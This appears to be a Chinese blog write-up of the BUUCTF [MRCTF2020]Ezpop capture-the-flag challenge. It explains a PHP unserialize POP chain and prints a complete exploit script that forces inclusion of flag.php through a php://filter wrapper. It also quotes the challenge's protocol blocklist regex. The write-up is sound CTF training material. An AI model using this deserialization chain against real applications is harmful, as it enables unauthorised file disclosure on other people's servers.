当前位置: 首页 > news >正文

BUUCTF [MRCTF2020]Ezpop

这道题对于刚接触到pop链的我直接把我整懵了,一边看着魔术方法一边分析

魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程,简单编程 (twle.cn)

代码解析

经过以上的分析我们可以理一下解题思路:接收参数反序列化之前先触发wakeup方法,进行一些过滤防止ssrf,我们可以将source赋值为实例对象触发tostring方法

如果我们将str赋值为Test类的一个对象,因为读取不到source触发get魔术方法

再将Test类中的p赋值为Modify类的一个对象,对象被当作函数使用直接触发invoke

方法,从而包含文件用伪协议读取出来

链子大概就是这样:show->__wakeup->__tostring->Test->__get->Modify->__invoke->append->include

因为var是protect属性无法在类外进行访问,所以我们直接进行复赋值

直接上我的脚本了,先将三个类实例化出三个对象a,b,c  通过这三个对象来访问类内部的变量

$c->p = $a将Test中的p赋值为一个Modify对象,用来触发invoke方法
$b->source = new Show()因为通过$b这个对象进行访问的,所以需要source赋值一个新的Show对象,用来触发__toString方法
$b->source->str = $c中$b->source已经成为一个新的Show实例对象,通过该对象访问str,为其赋值为$c(Test类的对象),又因为Test类中访问不到source资源从而触发get方法

最后进行url编码是因为protected属性的变量会输出一些不可见的字符,直接复制显示就是乱码无法构成成功攻击,进行一次url编码即可,浏览器会自动解码的

class Modifier {protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";public function append($value){include($value);	//包含flag.php}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;	//将Test实例化的对象给str,在Test中不存在source,此处调用__toString时触发__get方法}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;
//    public function __construct(){
//        $this->p = array();           没用,注释掉
//    }public function __get($key){$function = $this->p;return $function();	//触发__invoke方法}
}$a = new Modifier();
$b = new Show();
$c = new Test();
$c->p = $a;
$b->source = new Show();
$b->source->str = $c;
echo urlencode(serialize($b));

得到一串base64

解码得到flag

http://www.lryc.cn/news/409075.html

相关文章:

  • RV1126 Linux 系统,接外设,时好时坏(一)应该从哪些方面排查问题
  • Vue实现简单小案例
  • 【MATLAB APP】建立独立桌面APP
  • Spring的优缺点?
  • 第一百八十三节 Java IO教程 - Java目录事件、Java异步I/O
  • 【设计模式】(万字总结)深入理解Java中的创建型设计模式
  • 【全面讲解下Docker in Docker的原理与实践】
  • Android Settings增加多击事件,增加开发者模式打开难度
  • 【相机与图像】1. 相机模型的介绍:内参、外参、畸变参数
  • Linux内核netlink机制 - 用户空间和内核空间数据传输
  • Node.js自动化处理TOML文件
  • Spring boot 后端向前端发送日期时间发现少了8小时
  • MySQL数据库(基础篇)
  • ffmpeg ffplay.c 源码分析二:数据读取线程
  • 国科大作业考试资料《人工智能原理与算法》2024新编-第十三次作业整理
  • Netdevops入门之Telnetlib语法案例
  • 永辉“爆改”续命
  • IEEE双一区Top“饱受诟病”!曾上医院黑名单,国人占比高达82.405%,目测即将拉下神坛?
  • Hive环境搭建(Mysql数据库)
  • 【ESP32 IDF SPI硬件驱动W25Q64】
  • 太原高校大学智能制造实验室数字孪生可视化系统平台建设项目验收
  • Kafka消息队列
  • @Transactional注解及其事务管理
  • ROS2入门到精通—— 3-1 ROS2实战:CasADi —— 优化计算的利器
  • 日拱一卒 | JVM
  • 乐尚代驾六订单执行一
  • SciPy 与 MATLAB 数组
  • 基于vue-grid-layout插件(vue版本)实现增删改查/拖拽自动排序等功能(已验证、可正常运行)
  • DBoW3相关优化脉络
  • qt 如何制作动态库插件